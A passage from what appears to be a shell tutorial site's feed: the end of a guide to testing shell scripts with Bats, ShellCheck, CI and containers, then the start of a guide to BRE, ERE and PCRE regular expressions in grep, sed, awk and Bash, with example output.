'dollar$HOME' \"new\nline\"; do\n    dir=\"$BATS_TEST_TMPDIR/src/$name\"\n    mkdir -p \"$dir\"\n    echo x &gt; \"$dir/f\"\n    run \"$SCRIPT\" \"$dir\" \"$BATS_TEST_TMPDIR/out\"\n    [ \"$status\" -eq 0 ] || { echo \"failed for: $name\" &gt;&amp;3; false; }\n  done\n}\n\n@test \"empty arguments are a usage error, not a crash\" {\n  run \"$SCRIPT\" \"\" \"\"\n  [ \"$status\" -eq 1 ]\n}\n</code></pre>\n<p>Looping inside one test keeps the file short, and the message to file descriptor 3 names the value that failed. For a larger table of cases, generate tests in a loop with a function that registers one test per row. The hostile inputs mirror the attacks described in <a href=\"/library/shell-script-security\">the shell script security guide</a>, and each one you write is a regression test for a class of bug and not a single instance.</p>\n\n<h2>Setup, teardown and fixtures</h2>\n<p><code>setup</code> and <code>teardown</code> run before and after every test. <code>setup_file</code> and <code>teardown_file</code> run once per file, and <code>setup_suite</code> once per run, for expensive shared state such as building a container or starting a local server. Variables exported in <code>setup_file</code> are visible to the tests. <code>BATS_FILE_TMPDIR</code> is a directory shared by all tests in the file, and <code>BATS_TEST_TMPDIR</code> is private to one.</p>\n<pre><code class=\"language-bash\">setup_file() {\n  export SHARED=\"$BATS_FILE_TMPDIR/shared\"\n  echo init &gt; \"$SHARED\"\n}\nteardown() {\n  echo \"td\" &gt;&gt; \"$BATS_FILE_TMPDIR/log\"\n}\n\n@test \"uses shared\" { [ \"$(cat \"$SHARED\")\" = init ]; }\n@test \"skipped one\" { skip \"needs docker\"; false; }\n</code></pre>\n<pre><code class=\"language-text\">1..3\nok 1 uses shared\nok 2 skipped one # skip needs docker\nok 3 mock via PATH\n</code></pre>\n<p>The temporary directories are removed automatically, so tests do not leave files behind, which also means a failing test's files are gone by the time you look; run with <code>--no-tempdir-cleanup</code> to keep them for debugging. Use <code>skip \"reason\"</code> for tests that cannot run in the current environment, such as one needing root or Docker, so the report states why instead of failing. Never write to the working directory or the repository from a test; always use the temporary directories, or tests will interfere with each other and with your checkout.</p>\n\n<h2>Test failure paths on purpose</h2>\n<p>A script's error handling is code, and untested error handling is usually wrong. Force each failure and assert on what the script does: it exits with the documented code, prints a useful message, leaves no temporary files and does not touch the destination. Simulating failures needs the seams from earlier. A mock that exits non-zero stands in for a dead network. A read-only directory stands in for a full disk. A missing executable, created by an empty <code>PATH</code>, tests the dependency check.</p>\n<pre><code class=\"language-bash\">@test \"reports a missing dependency\" {\n  PATH=\"$BATS_TEST_TMPDIR/empty\" run /bin/bash \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  [ \"$status\" -ne 0 ]\n}\n\n@test \"does not leave a partial archive when tar fails\" {\n  make_mock tar 2\n  run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  [ \"$status\" -ne 0 ]\n  run bash -c \"ls '$DEST'/*.tar.gz 2&gt;/dev/null | wc -l\"\n  [ \"$output\" -eq 0 ]\n}\n</code></pre>\n<p>The first test confirms that the script fails and does not carry on when a tool it needs is missing, since an empty <code>PATH</code> hides <code>tar</code> and <code>date</code>. The second replaces <code>tar</code> with a mock that exits 2 and checks that no archive is left. It passes against the sample script because <code>set -e</code> stops the run at once, but it has a limit worth knowing: a mock that writes nothing cannot show what a real <code>tar</code> that dies halfway leaves behind. To test that, make a mock that writes a partial file and then fails, and assert that the script removes it or never places it in the destination. Writing that test is what pushes a script toward building in a temporary location and moving the finished file into place. Tests of failure paths are where a suite earns its keep, since failures are the cases nobody runs by hand.</p>\n\n<h2>Run the suite</h2>\n<p>Run the whole directory with <code>bats test/</code>, one file with its path, or filter by test name with <code>--filter</code>. Output formats include pretty (the default on a terminal), TAP, JUnit XML for CI dashboards, and the timing report. With GNU parallel installed, <code>--jobs N</code> runs files in parallel, so tests must not share state.</p>\n<pre><code class=\"language-bash\">bats test/\nbats --filter 'space' test/backup.bats\nbats --tap test/ | tee results.tap\nbats --report-formatter junit --output reports test/\nbats --timing test/backup.bats\n</code></pre>\n<pre><code class=\"language-text\">1..5\nok 1 prints usage and exits 2 with no arguments in 7ms\nok 2 fails when the source is not a directory in 7ms\n</code></pre>\n<p>Watch the timing report for slow tests; a suite that takes a minute stops being run before every commit. Aim for seconds. Tag slow or environment-dependent tests and run them in a separate CI job, using Bats tags (<code># bats test_tags=slow</code>) with <code>--filter-tags</code>. The goal is a fast default run that developers use constantly and a fuller run that CI always does.</p>\n\n<h2>Run in CI</h2>\n<p>CI turns a suite from a habit into a gate. The job installs the tools, runs ShellCheck on every shell file and runs Bats, and fails the build on any non-zero exit. Because the tools are in the standard repositories, the job is a few lines on any runner. Use <code>find</code> or <code>git ls-files</code> to discover scripts, so a new file is checked without editing the config.</p>\n<pre><code class=\"language-yaml\">name: shell\non: [push, pull_request]\njobs:\n  test:\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          submodules: recursive\n      - name: Install tools\n        run: sudo apt-get update &amp;&amp; sudo apt-get install -y shellcheck\n      - name: ShellCheck\n        run: git ls-files -z '*.sh' | xargs -0 shellcheck -S warning -f gcc\n      - name: Bats\n        run: test/bats/bin/bats --tap test/\n</code></pre>\n<p>Pin the runner image and the action versions so the pipeline does not change under you. Using the vendored Bats from the submodule gives every contributor and the runner the same version. Add <code>shfmt -d</code> to fail on formatting drift if the team has agreed on a style. A pre-commit hook that runs ShellCheck on staged files gives faster feedback than waiting for CI, though CI remains the gate, since hooks can be skipped.</p>\n\n<h2>Test across shells and distributions</h2>\n<p>A script that claims to be portable must be checked under the shells it claims. Bats runs under Bash, but a test can launch the script under any interpreter, so a loop over shells gives a matrix with no extra tooling. For distribution differences, run the whole suite inside containers.</p>\n<pre><code class=\"language-bash\">@test \"runs under dash and busybox\" {\n  for sh in dash \"busybox sh\" bash; do\n    run $sh \"$BATS_TEST_DIRNAME/../bin/portable.sh\" --version\n    [ \"$status\" -eq 0 ] || { echo \"failed under: $sh\" &gt;&amp;3; false; }\n  done\n}\n</code></pre>\n<pre><code class=\"language-bash\">docker run --rm -v \"$PWD\":/w -w /w debian:12 bash -c 'apt-get update -qq &amp;&amp; apt-get install -y -qq bats shellcheck &gt;/dev/null &amp;&amp; bats test/'\ndocker run --rm -v \"$PWD\":/w -w /w alpine:3.20 sh -c 'apk add --no-cache bash bats shellcheck &gt;/dev/null &amp;&amp; bats test/'\n</code></pre>\n<p>The unquoted <code>$sh</code> in the first example is intentional, so that <code>busybox sh</code> splits into two words; ShellCheck would flag it, so the line carries a suppression with that reason in real use. What the portable shell guide recommends, in <a href=\"/library/posix-sh-vs-bash-portable-scripts\">POSIX sh versus Bash</a>, is the same idea: the scripts and the tests agree on which shells matter, and CI runs them. Running the suite on the oldest Bash you support, in a container, finds the use of features that arrived later.</p>\n\n<h2>Measure coverage</h2>\n<p>Coverage for shell is possible with <code>kcov</code>, which instruments Bash by tracing line execution and produces an HTML report, and it can wrap Bats. Coverage numbers say which lines no test reached, not whether the tests are good, so read the uncovered lines and ask why. Error branches and rarely taken options usually show up red, and those are the ones worth a test.</p>\n<pre><code class=\"language-bash\">kcov --include-path=bin coverage/ bats test/\nxdg-open coverage/index.html\n</code></pre>\n<p>Treat a threshold with care. A rule of 80 percent line coverage invites tests written to touch lines rather than to check behavior. Use coverage to find gaps in a suite you already trust, and rely on code review and the hostile-input list to judge the rest. A short script with every branch exercised and every documented exit code asserted is better tested than a long one with high coverage and loose assertions.</p>\n\n<h2>Common mistakes in test suites</h2>\n<ul>\n<li><strong>Writing to the repository or the real home directory.</strong> Use the temporary directories Bats provides.</li>\n<li><strong>Tests that depend on each other's order.</strong> Each test must set up its own state.</li>\n<li><strong>Asserting on the whole output.</strong> A test that compares a full log breaks on any wording change; assert on what matters.</li>\n<li><strong>Forgetting that <code>run</code> uses a subshell.</strong> Variables set inside are lost; write to a file or avoid <code>run</code>.</li>\n<li><strong>Real sleeps and real network calls.</strong> They make tests slow and flaky; mock the clock and the network.</li>\n<li><strong>Suppressing ShellCheck without a reason.</strong> Every directive should say why.</li>\n<li><strong>Testing the implementation, not the behavior.</strong> Assert on exit codes, output and effects, not on which commands ran.</li>\n<li><strong>Skipping failure paths.</strong> Error handling is where scripts hurt people.</li>\n<li><strong>Running tests only on your machine.</strong> CI and a container catch what your environment hides.</li>\n</ul>\n<p>The unifying advice is to treat tests as small, independent, readable programs. If a test needs a paragraph to explain, split it.</p>\n\n<h2>A workflow for changing a script safely</h2>\n<p>Putting the pieces together gives a routine for the situation where most scripts are touched: modifying one that already exists and matters. First run ShellCheck and fix or consciously accept every finding. Second, write characterization tests: run the script on representative input and record its current behavior as assertions, bugs included, so that you know when something changes. Third, write a failing test for the change you want. Fourth, make the change until the test passes and the old tests still do. Fifth, run the suite across the shells and containers you support. Sixth, review the diff for new suppressions. When something breaks in production, add the reproduction as a test before fixing it, as described in <a href=\"/library/debugging-shell-scripts\">the debugging guide</a>.</p>\n<p>This is the same loop as in any language, and the discipline is the point. The reason shell scripts decay is not the language but the habit of editing them untested, since a missing test is invisible until the day it matters.</p>\n\n<h2>Golden files for larger output</h2>\n<p>When a script produces a report or a generated file, comparing it with a stored expected copy, a golden file, is simpler than writing many assertions. Keep the expected output under <code>test/golden/</code>, generate the actual output in the test, and compare with <code>diff -u</code>, whose output shows precisely what changed. To update the golden file after an intended change, regenerate it and review the diff in version control like any code.</p>\n<pre><code class=\"language-bash\">@test \"report matches the golden file\" {\n  run \"$SCRIPT\" --report \"$BATS_TEST_DIRNAME/fixtures/input.csv\"\n  [ \"$status\" -eq 0 ]\n  diff -u \"$BATS_TEST_DIRNAME/golden/report.txt\" &lt;(printf '%s\\n' \"$output\")\n}\n</code></pre>\n<p>Keep the input small and deterministic: fix the clock, sort anything that has no defined order, and strip volatile fields such as process IDs and timestamps with <code>sed</code> before the comparison. Golden files suit output that people read; for anything with structure, assert on fields. A golden test that fails on every harmless change teaches the team to regenerate the file without looking, which defeats it, so keep each golden test narrow.</p>\n\n<h2>Check that a script is idempotent</h2>\n<p>Scripts that configure systems or run on a schedule should be safe to run twice. That property is cheap to test: run the script, capture the state, run it again, and assert the state is unchanged and the second run succeeds. The state can be a directory listing with checksums, the output of a status command, or a file's content.</p>\n<pre><code class=\"language-bash\">@test \"running twice changes nothing the second time\" {\n  BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  [ \"$status\" -eq 0 ]\n  before=$(cd \"$DEST\" &amp;&amp; find . -type f | sort | xargs sha256sum)\n  BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  [ \"$status\" -eq 0 ]\n  after=$(cd \"$DEST\" &amp;&amp; find . -type f | sort | xargs sha256sum)\n  [ \"$before\" = \"$after\" ]\n}\n</code></pre>\n<p>Archives embed modification times, so the second archive has a different checksum even with the same name; if this test fails for that reason, the assertion should compare names and counts instead of content, which is a fair result, since it shows precisely what a rerun does. Deciding what idempotent means for a script is a design question, and a failing test is how it gets asked. The same pattern checks installers and provisioning scripts, where it matters more.</p>\n\n<h2>Test in a container when the script needs root</h2>\n<p>Scripts that manage users, mount filesystems, edit <code>/etc</code> or call <code>systemctl</code> cannot run safely on a developer machine. Run them in a disposable container, where root is harmless and the result vanishes. The suite either runs inside the container, as in the CI example, or drives the container from outside with <code>docker run</code> in each test.</p>\n<pre><code class=\"language-bash\">@test \"creates the service user in a clean container\" {\n  run docker run --rm -v \"$BATS_TEST_DIRNAME/../bin:/opt/bin:ro\" debian:12 \\\n    bash -c '/opt/bin/setup-user.sh app &amp;&amp; id app &amp;&amp; /opt/bin/setup-user.sh app'\n  [ \"$status\" -eq 0 ]\n  [[ $output == *\"uid=\"* ]]\n}\n</code></pre>\n<p>The command runs the script twice in the same container and checks the second call succeeds, combining a root-only test with the idempotence check. Mount the scripts read-only so a bug cannot rewrite the host copy. Mark such tests with a tag and a <code>skip</code> when Docker is not available, so the fast suite stays fast. For scripts that need systemd, a container needs special setup; a virtual machine, or a CI runner that is itself disposable, is the safer choice.</p>\n\n<h2>Pre-commit hooks and formatting</h2>\n<p>Fast checks belong before the commit. A Git hook that runs ShellCheck and the quick part of the suite catches mistakes while the change is still in your head. The <code>pre-commit</code> framework wraps this in a config file shared by the team, and <code>shfmt</code> enforces a single formatting style, which removes a category of review comments.</p>\n<pre><code class=\"language-yaml\"># .pre-commit-config.yaml\nrepos:\n  - repo: https://github.com/koalaman/shellcheck-precommit\n    rev: v0.9.0\n    hooks:\n      - id: shellcheck\n        args: [--severity=warning]\n  - repo: https://github.com/scop/pre-commit-shfmt\n    rev: v3.7.0-1\n    hooks:\n      - id: shfmt\n        args: [-i, \"2\", -ci]\n</code></pre>\n<pre><code class=\"language-bash\">pip install pre-commit\npre-commit install\npre-commit run --all-files\n</code></pre>\n<p>An <code>.editorconfig</code> file with <code>indent_style = space</code> and <code>indent_size = 2</code> for <code>*.sh</code> keeps editors in line with <code>shfmt</code>. Hooks run on the developer's machine and can be bypassed, so the CI job repeats the same checks; the hook is a convenience and CI is the guarantee. Keep the hook fast, under a few seconds, or people will disable it.</p>\n\n<h2>Debug a failing Bats test</h2>\n<p>When a test fails and the reason is not obvious, Bats has options for seeing more. <code>--verbose-run</code> prints the output of every <code>run</code>, <code>--trace</code> prints each command executed in the test, and <code>--print-output-on-failure</code> prints <code>$output</code> only for failing tests. Add <code>--no-tempdir-cleanup</code> to keep the temporary files for inspection. Inside a test, <code>echo \"...\" &gt;&amp;3</code> prints a message that is always shown, and <code>set -x</code> works as in any script.</p>\n<pre><code class=\"language-bash\">bats --print-output-on-failure test/backup.bats\nbats --trace --verbose-run --filter 'space' test/backup.bats\nbats --no-tempdir-cleanup test/backup.bats\n</code></pre>\n<p>The trace shows the exact command lines, which is the fastest way to see that an expansion produced something different from what you assumed; the techniques are the same as in the debugging guide. A test that passes alone and fails in the suite shares state with another, usually through a fixed path under <code>/tmp</code> or an exported variable; run each file separately and in a random order to find it.</p>\n\n<h2>Treat the tests as documentation</h2>\n<p>Read the test names of a good suite from top to bottom and you have the script's specification: what it accepts, what it refuses, what it leaves behind and how it fails. That makes the suite a place to look first when you pick up an unfamiliar script, and it is the reason to write test names as plain statements of behavior. When you add a feature, write the test that describes it before the code, and when a user reports a surprise, write the test that describes what they expected. Over a year the file becomes a record of the decisions made about the script, which a README rarely keeps current. Tests also make refactoring a script safe, which matters because shell is easy to write quickly and hard to tidy later: with a suite in place you can rename variables, split a long function and replace a fragile pipeline with confidence, and the tests will say whether behavior changed. The cost is small compared with the first time a change that looked trivial would have broken a nightly job unnoticed.</p>\n\n<p>Review tests in pull requests with the same care as the script: a change that adds a feature and no test deserves the question, and a change that edits an assertion to make a failure go away deserves a reason in the description.</p>\n\n<h2>Organize a growing suite</h2>\n<p>A suite stays useful when it is easy to find things in and quick to run. Keep one <code>.bats</code> file per script or per library, named after it, and put shared helpers in <code>test/test_helper/</code> so each file loads only what it needs. Group related tests in a file and name them as sentences about behavior: \"rejects a non numeric KEEP\", not \"test3\". Keep fixtures small and in <code>test/fixtures/</code>, generated at test time when they are simple, committed when they are not. A <code>Makefile</code> target ties the layers together so that nobody has to remember the commands.</p>\n<pre><code class=\"language-text\">.\n├── bin/backup.sh\n├── lib/retry.sh\n└── test/\n    ├── backup.bats\n    ├── retry.bats\n    ├── test_helper/\n    │   ├── common.bash\n    │   └── mocks.bash\n    └── fixtures/input.csv\n</code></pre>\n<pre><code class=\"language-text\">lint:\n\tgit ls-files -z '*.sh' | xargs -0 shellcheck -S warning\ntest: lint\n\ttest/bats/bin/bats test/\n</code></pre>\n<p>Making <code>test</code> depend on <code>lint</code> means the cheap check runs first and a style problem stops the run in a second. Review the suite occasionally as you would code: delete tests that no longer protect anything, merge near-duplicates and fix any that are slow or flaky. A test that nobody trusts is worse than none, because it trains people to rerun until green.</p>\n\n<h2>Test a Makefile or installer end to end</h2>\n<p>Besides unit-level tests of scripts, a few end-to-end checks prove that the pieces work together as a user would run them: install into a temporary prefix, run the installed program, then uninstall and check that nothing is left. These run slower, so keep them few and run them in CI and in a container.</p>\n<pre><code class=\"language-bash\">@test \"install puts the script on the path and uninstall removes it\" {\n  prefix=\"$BATS_TEST_TMPDIR/prefix\"\n  run make -C \"$BATS_TEST_DIRNAME/..\" install PREFIX=\"$prefix\"\n  [ \"$status\" -eq 0 ]\n  [ -x \"$prefix/bin/backup.sh\" ]\n  run \"$prefix/bin/backup.sh\" -h\n  [ \"$status\" -eq 2 ]\n  run make -C \"$BATS_TEST_DIRNAME/..\" uninstall PREFIX=\"$prefix\"\n  [ ! -e \"$prefix/bin/backup.sh\" ]\n}\n</code></pre>\n<p>Passing <code>PREFIX</code> as a variable makes the installer relocatable, which is good packaging practice anyway and makes the test possible without root. If your installer cannot be pointed somewhere harmless, that is a finding: fix the installer, not the test.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>One-off commands.</strong> A script you run once, on your own data, and delete, does not need a suite. ShellCheck is still worth running, since it takes seconds.</p>\n<p><strong>Scripts that are mostly glue to a real system.</strong> Where the work is calling a cloud API, mocks test your assumptions about the API and not the API. Add a small number of integration tests against a real or staging system, run less often, and keep the unit tests for the logic around the calls.</p>\n<p><strong>Large logic.</strong> If you are writing a mock framework for the script, the script has probably outgrown shell. Tests in the language the logic should have been written in are easier to write and maintain.</p>\n<p><strong>Interactive and terminal behavior.</strong> Prompts, colors and full-screen programs need a pseudo-terminal harness such as <code>expect</code> or <code>script</code>, and tests of them are brittle. Separate the logic from the interaction and test the logic.</p>\n<p><strong>Destructive scripts on shared systems.</strong> Never point a test at real data. Use a container or a temporary directory, and make the script take its target as an argument so the test chooses the sandbox.</p>\n\n<h2>What to read next</h2>\n<p>Tests tell you that a script is wrong; finding out why is the work in <a href=\"/library/debugging-shell-scripts\">the guide to debugging shell scripts</a>. The inputs worth testing come from <a href=\"/library/shell-script-security\">the shell script security guide</a>, and the scripts themselves are described in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>. To schedule a tested script and watch it run, see <a href=\"/library/automate-tasks-cron-systemd\">the cron and systemd timers guide</a>.</p>\n<p>Primary sources used here: the <a href=\"https://bats-core.readthedocs.io/en/stable/\">bats-core documentation</a>, the <a href=\"https://bats-core.readthedocs.io/en/stable/writing-tests.html\">bats-core guide to writing tests</a>, the <a href=\"https://github.com/bats-core/bats-core\">bats-core repository</a>, the <a href=\"https://github.com/bats-core/bats-assert\">bats-assert repository</a>, the <a href=\"https://www.shellcheck.net/wiki/\">ShellCheck wiki</a>, the <a href=\"https://github.com/koalaman/shellcheck\">ShellCheck repository</a>, the <a href=\"https://testanything.org/tap-specification.html\">TAP specification</a>, the <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">Bash Reference Manual</a>, the <a href=\"https://github.com/mvdan/sh\">shfmt repository</a> and the <a href=\"https://docs.github.com/en/actions/writing-workflows\">GitHub Actions workflow documentation</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Testing"]},{"id":"https://shellhacks.dev/library/regular-expressions-shell-tools","url":"https://shellhacks.dev/library/regular-expressions-shell-tools","title":"Regular Expressions in Shell Tools From Basics to Practice","summary":"Regular expressions in shell tools explained: BRE, ERE and PCRE in grep, sed, awk and Bash, with real output, quoting rules, pitfalls and performance limits.","content_html":"<p>Regular expressions are the pattern language of the command line, and the confusion around them comes from there being several of them. The pattern that works in <code>grep -P</code> fails in <code>grep -E</code>, the one for <code>sed</code> needs backslashes that <code>awk</code> forbids, Bash has its own rules for quoting, and the globs used for file names look similar and mean something else. This guide sorts that out. It explains the three dialects, the operators they share, how each tool applies them, and the traps at each boundary, with every example run on Debian 12 using GNU grep 3.8, GNU sed 4.9, gawk 5.2.1, mawk 1.3.4, BusyBox 1.35 and Bash 5.2.15. The tools themselves are covered in <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>, and this guide goes deeper on the patterns.</p>\n<p>The guide goes from the building blocks to the dialect differences, then each tool, then globs, locale and performance, and ends with a method for building and testing a pattern and a list of cases where a regex is the wrong tool.</p>\n\n<h2>What a regular expression is</h2>\n<p>A regular expression describes a set of strings. A tool reads text and asks, for each line or each position, whether some part of it belongs to that set. The expression <code>cat</code> describes the single string cat. The expression <code>c.t</code> describes all three-character strings that start with c and end with t. The expression <code>^[0-9]+$</code> describes every line made only of digits. The power comes from a small set of operators: pick one of several, repeat, group, and anchor.</p>\n<p>What the tool does with a match depends on the tool. grep prints the line, or just the match with <code>-o</code>. sed replaces the match. awk uses the match to select records, split fields or edit them. Bash uses it in a condition and exposes the groups. In all of them the same two rules apply: a match can start anywhere in the line unless you anchor it, and when several matches are possible at a position the engine takes the longest. Hold on to those two rules, since they explain most surprises.</p>\n\n<h2>Three dialects</h2>\n<p>POSIX defines two syntaxes, and a third family comes from Perl. They differ in which characters are operators.</p>\n<table>\n<thead><tr><th>Dialect</th><th>Selected by</th><th>Operators without a backslash</th></tr></thead>\n<tbody>\n<tr><td>Basic (BRE)</td><td>Default in <code>grep</code>, <code>sed</code>, <code>expr</code>, <code>find -regex</code> (emacs flavor)</td><td><code>. * [ ] ^ $</code> only; GNU adds <code>\\+ \\? \\|</code> and <code>\\( \\) \\{ \\}</code> with backslashes</td></tr>\n<tr><td>Extended (ERE)</td><td><code>grep -E</code>, <code>sed -E</code>, awk, Bash <code>=~</code></td><td><code>. * + ? | ( ) { } [ ] ^ $</code></td></tr>\n<tr><td>Perl-compatible (PCRE)</td><td><code>grep -P</code></td><td>ERE plus <code>\\d \\w \\s \\b</code>, lookaround, lazy quantifiers, named groups</td></tr>\n</tbody>\n</table>\n<p>The syntax is specified in the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html\">POSIX regular expressions chapter</a>. The practical advice follows from the table: write ERE, because it is the one most people can read, and use <code>-E</code> with grep and sed so that you never have to remember which characters need a backslash. Reach for PCRE only when you need what ERE cannot say, and only where you know it is installed.</p>\n\n<h2>BRE and ERE side by side</h2>\n<p>The same pattern means different things depending on the flag. In basic syntax, an unescaped plus sign is a literal plus. In extended syntax it is a repetition operator.</p>\n<pre><code class=\"language-bash\">echo \"aab\" | grep 'a\\+b'\necho \"aab\" | grep -E 'a+b'\necho \"a+b\" | grep 'a+b'\necho \"a+b\" | grep -E 'a\\+b'\n</code></pre>\n<pre><code class=\"language-text\">aab\naab\na+b\na+b\n</code></pre>\n<p>All four lines matched, for different reasons. The first uses the GNU backslash form in BRE to mean one or more. The second uses ERE. The third matches a literal plus in BRE, since the plus has no special meaning there. The fourth escapes the plus in ERE to make it literal. The backslash flips the meaning between the dialects: in BRE it adds a meaning to a character, in ERE it removes one. The backslash forms <code>\\+</code>, <code>\\?</code> and <code>\\|</code> in BRE are GNU extensions, not POSIX, so a script that must run on BSD or BusyBox should use <code>-E</code>.</p>\n\n<h2>Literal characters and escaping</h2>\n<p>Most characters match themselves. A handful have special meanings, and to match them literally you escape them with a backslash or place them in a bracket expression. In ERE the special characters are <code>. [ ] ( ) * + ? { } | ^ $ \\</code>. The dot is the most frequent mistake: it matches any character, so <code>1.5</code> also matches 125.</p>\n<pre><code class=\"language-bash\">echo 'a.b axb' | grep -o 'a.b'\necho 'a.b axb' | grep -o 'a\\.b'\necho 'a]b' | grep -o '[]]'\n</code></pre>\n<pre><code class=\"language-text\">a.b\naxb\na.b\n]\n</code></pre>\n<p>The first pattern matched both the real dot and the x; the escaped version matched only the real dot. Inside a bracket expression, most special characters lose their meaning, which is a tidy way to write a literal: <code>[.]</code> is a dot. The closing bracket must come first in the list to be literal, as in <code>[]]</code>. Two layers of escaping are involved when the pattern passes through the shell, so keep patterns in single quotes. When the text to find is not a pattern at all, use <code>grep -F</code> and skip the problem.</p>\n\n<h2>Bracket expressions and character classes</h2>\n<p>A bracket expression matches one character from a set. <code>[abc]</code> matches a, b or c; <code>[a-z]</code> is a range; <code>[^0-9]</code>, with a caret first, is anything except a digit. POSIX also defines named classes written inside brackets: <code>[[:digit:]]</code>, <code>[[:alpha:]]</code>, <code>[[:alnum:]]</code>, <code>[[:space:]]</code>, <code>[[:upper:]]</code>, <code>[[:lower:]]</code> and <code>[[:punct:]]</code>. The double bracket is correct: the class name is inside a bracket expression.</p>\n<pre><code class=\"language-bash\">echo \"ab12 _x\" | grep -o '[[:digit:]]*'\necho \"ab12 _x\" | grep -oE '[[:alpha:]]+'\necho \"ab12 _x\" | grep -oE '\\w+'\necho \"a1\" | grep -E '\\d' || echo \"no \\d in ERE\"\necho \"a1\" | grep -oP '\\d'\n</code></pre>\n<pre><code class=\"language-text\">12\nab\nx\nab12\n_x\nno \\d in ERE\n1\n</code></pre>\n<p>The named classes work everywhere and follow the locale. The shorthand <code>\\w</code> works in GNU grep and sed as an extension, matching letters, digits and underscore, which is why it matched <code>ab12</code> and <code>_x</code> as words. The Perl shorthand <code>\\d</code> is not defined in ERE: GNU grep treated the backslash-d as a plain d, so the pattern found nothing, and it works only with <code>-P</code>. Ranges such as <code>[a-z]</code> depend on the locale's collation order in some implementations; the named classes are the portable way to say the same thing.</p>\n\n<h2>Anchors and boundaries</h2>\n<p>The caret matches the start of a line and the dollar sign matches the end. Without them a pattern can match anywhere in the line, which is the usual reason for a pattern that matches too much. grep offers shortcuts: <code>-x</code> requires the whole line to match, and <code>-w</code> requires the match to be a whole word, bounded by non-word characters.</p>\n<pre><code class=\"language-bash\">printf 'foo\\nfoobar\\nbar foo\\n' | grep -c '^foo'\nprintf 'foo\\nfoobar\\nbar foo\\n' | grep -x foo\nprintf 'foo\\nfoobar\\n' | grep -w foo\necho \"foo-bar\" | grep -ow 'foo'\n</code></pre>\n<pre><code class=\"language-text\">2\nfoo\nfoo\nfoo\n</code></pre>\n<p>Two lines start with foo, so the count was 2. <code>-x</code> kept only the line that is exactly foo. <code>-w</code> rejected <code>foobar</code> but accepted <code>foo-bar</code>, because a hyphen is not a word character. GNU tools also accept <code>\\b</code> for a word boundary, <code>\\&lt;</code> and <code>\\&gt;</code> for the start and end of a word, and gawk uses <code>\\y</code> for the boundary; these are extensions, so check the target tool. In sed, the caret and dollar anchor each line of the pattern space, and in multi-line mode (the next sections) they can be made to anchor the whole buffer.</p>\n\n<h2>Quantifiers</h2>\n<p>A quantifier follows an item and says how many times it may repeat. <code>*</code> is zero or more, <code>+</code> one or more, <code>?</code> zero or one, <code>{n}</code> exactly n, <code>{n,}</code> at least n and <code>{n,m}</code> between n and m. An item is a single character, a bracket expression, or a group.</p>\n<pre><code class=\"language-bash\">echo \"aaa\" | grep -oE 'a{2}'\necho \"aaa\" | mawk '/a{2}/ {print \"mawk match\"}'\necho \"aaa\" | mawk '!/a{2}/ {print \"mawk no match\"}'\necho \"aaa\" | gawk '/a{2}/ {print \"gawk match\"}'\n</code></pre>\n<pre><code class=\"language-text\">aa\nmawk no match\ngawk match\n</code></pre>\n<p>The same interval gave different results in two awks. On Debian, <code>awk</code> is mawk 1.3.4 (version 20200120), which treated the braces as literal characters, so <code>a{2}</code> meant the text a{2}; gawk supports intervals. A script that relies on <code>{n,m}</code> in awk must either require gawk or repeat the item by hand, as in <code>aa</code>. It is a good example of why the tool's dialect matters as much as the pattern's, and the portable-shell guide, <a href=\"/library/posix-sh-vs-bash-portable-scripts\">POSIX sh versus Bash</a>, lists the testing approach for such differences.</p>\n\n<h2>Groups and alternation</h2>\n<p>Parentheses group items so a quantifier applies to the whole group and capture the matched text for later use. The vertical bar chooses between alternatives. In BRE with GNU extensions both need backslashes.</p>\n<pre><code class=\"language-bash\">echo \"cat dog\" | grep -o 'cat\\|dog'\necho \"cat dog\" | grep -oE 'cat|dog'\necho \"2026-11-05\" | sed -E 's/([0-9]+)-([0-9]+)-([0-9]+)/\\3.\\2.\\1/'\necho \"2026-11-05\" | sed 's/\\([0-9]*\\)-\\([0-9]*\\)-\\([0-9]*\\)/\\3.\\2.\\1/'\n</code></pre>\n<pre><code class=\"language-text\">cat\ndog\ncat\ndog\n05.11.2026\n05.11.2026\n</code></pre>\n<p>The two sed commands do the same date rearrangement, and the extended form is a good deal easier to read. The captured groups are numbered by their opening parenthesis from left to right, and in the replacement <code>\\1</code> to <code>\\9</code> refer to them. Group with <code>(?:...)</code> to avoid capturing is a PCRE feature; in ERE every group captures, and the practical cost is only that group numbers shift when you add one. Alternation tries alternatives left to right in Perl but takes the longest overall match in POSIX, so <code>a|ab</code> against <code>ab</code> matches the whole of it in grep and sed and only the first letter in Perl-style engines.</p>\n\n<h2>Backreferences</h2>\n<p>A backreference matches the same text that an earlier group matched. It makes it possible to find repeated words and matching quote characters, which is beyond the reach of a regular language in the strict sense and is supported by all three dialects.</p>\n<pre><code class=\"language-bash\">echo \"abcabc xyzxyz abab\" | grep -oE '([a-z]+)\\1'\necho \"hello wood\" | grep -E '(.)\\1'\necho 'say \"hi\" and '\"'\"'bye'\"'\"'' | grep -oE \"(['\\\"])[^'\\\"]*\\1\"\n</code></pre>\n<pre><code class=\"language-text\">abcabc\nxyzxyz\nabab\nhello wood\n</code></pre>\n<p>The first pattern finds a run of letters followed by a repeat of itself. The second finds any doubled character, which matched both words. The third finds text inside matching single or double quotes. Backreferences carry a cost: patterns that use them cannot be run by the fast finite-automaton engines, so grep switches to a slower matcher for them. In POSIX ERE the backreference is an extension of the standard that GNU and BSD both implement, so it works on them and not in every awk.</p>\n\n<h2>Greedy matching and negated classes</h2>\n<p>Quantifiers are greedy: they take as much as possible while still allowing the whole pattern to match. This is the cause of the classic mistake of trying to match a delimited section with <code>.*</code>, which runs to the last closing delimiter and swallows everything in between.</p>\n<pre><code class=\"language-bash\">echo '&lt;b&gt;x&lt;/b&gt;&lt;b&gt;y&lt;/b&gt;' | grep -o '&lt;b&gt;.*&lt;/b&gt;'\necho 